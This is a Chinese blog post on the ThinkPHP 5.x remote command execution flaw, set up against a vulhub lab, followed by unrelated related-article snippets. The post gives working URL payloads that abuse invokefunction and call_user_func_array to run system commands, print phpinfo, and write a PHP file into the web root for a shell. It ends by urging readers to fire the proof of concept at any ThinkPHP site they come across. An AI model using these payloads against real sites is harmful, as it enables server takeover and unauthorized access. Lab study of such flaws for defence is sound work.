常见框架漏洞之一:Thinkphp5x

news/2025/3/28 15:37:56/

ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为

ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以⽀持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本⽀持,⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是⼀款跨平台,跨版本以及简单易⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)

Thinkphp5x远程命令执⾏及getshell

thinkphp5最出名的就是rce

环境配置

云服务器:8.138.19.182:8080

靶场:vulhub/thinkphp/5-rce

docker-compose up -d #启动环境

访问靶场:http://8.138.19.182:8080/

漏洞利⽤

漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通

过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分

原因,在利⽤上会出现⼀些问题。

远程命令执⾏
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执⾏
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

getshell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php

根⽬录⽣成1.php ⽂件,输出phpinfo

Thinkphp被曝很多漏洞,截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞,遇到TP的站,直接打poc就可以了;


http://www.ppmy.cn/news/1582885.html

相关文章

Simula语言的安全开发

Simula语言的安全开发 引言 在计算机科学的历史长河中&#xff0c;Simula 语言作为面向对象编程的奠基者&#xff0c;有着无可替代的地位。它的出现不仅为后来的各种编程语言奠定了理论基础&#xff0c;也深刻影响了软件开发方法论和设计模式的演变。然而&#xff0c;随着软件…

使用 ByteDance 的 UI-TARS Desktop 探索 AI 驱动的 GUI 自动化新前沿

文章目录 UI-TARS Desktop 是什么&#xff1f;技术亮点应用场景如何快速上手&#xff1f;与其他技术的对比未来展望结语 随着人工智能技术的快速发展&#xff0c;AI 正在从单纯的文本生成和图像识别迈向更复杂的交互场景。ByteDance 近期推出的 UI-TARS Desktop&#xff08;基于…

【差分隐私相关概念】最大化似然函数就是最小化L1范数

1. 噪声分布与最大似然估计的关系 噪声类型&#xff1a;矩阵机制中&#xff0c;噪声 η r ~ − A x \eta \widetilde{\mathbf{r}} - \mathbf{Ax} ηr −Ax 服从 拉普拉斯分布 η ∼ Lap ( Δ A / ϵ ) \eta \sim \text{Lap}(\Delta_\mathbf{A}/\epsilon) η∼Lap(ΔA​/ϵ…

git push 提示 fatal: the remote end hung up unexpectedly

这里写自定义目录标题 背景解决思路查看当前代理设置取消代理设置进行一些修改依次类推 检查本地仓库的完整性清理本地仓库中不必要的文件和引用假设你有多个文件需要提交依次类推 背景 今天在家整理一些知识相关&#xff0c;需要把本地代码&#xff08;包括一些文章中的图片&…

Visual Studio调试的技巧

1.什么是bug&#xff1f; bug&#xff1a;程序漏洞&#xff0c;也就是程序中存在的问题。 2.什么是调试&#xff1f; 当我们发现了程序中的问题后就会解决问题&#xff0c;前提是要找到问题&#xff0c;那么进行调试&#xff08;debug&#xff09;以此来找到问题。 3.debug…

ICRA 2025 面向移动抓取的全身控制新范式——让机器人在移动与操控之间动态平衡

机器人学领域&#xff0c;移动抓取&#xff08;Mobile Manipulation&#xff09;是实现机器人在复杂环境中自主操作的关键技术。然而&#xff0c;当前主流的方法往往将移动底盘和机械臂的规划分开处理&#xff0c;这种割裂的方式导致机器人无法高效协调运动与抓取&#xff0c;进…

Flink 内存管理

一、内存模型 上图是一个 Flink 程序进程总体的内存模型,其包含 Flink 使用内存、JVM 元空间以及 JVM 开销。 Flink 使用了堆上内存和堆外内存;框架内存使用了堆上内存和堆外内存的直接内存;Task 使用堆上内存和堆外内存的直接内存;管理内存、JVM 元空间以及 JVM 内存开销使…

windows剪切板的内容无法拷贝到虚拟机virtualbox里的Rocky Linux中 --Draft

故障现象&#xff1a; windows剪切板的内容无法拷贝到虚拟机virtualbox里的Rocky Linux中. 虚拟机开机后&#xff0c;短暂提示&#xff1a;VBoxClient: the VirtualBox kernel service is not running. ... 故障原因&#xff1a; VirtualBox Guest Additions 没有正常工作。…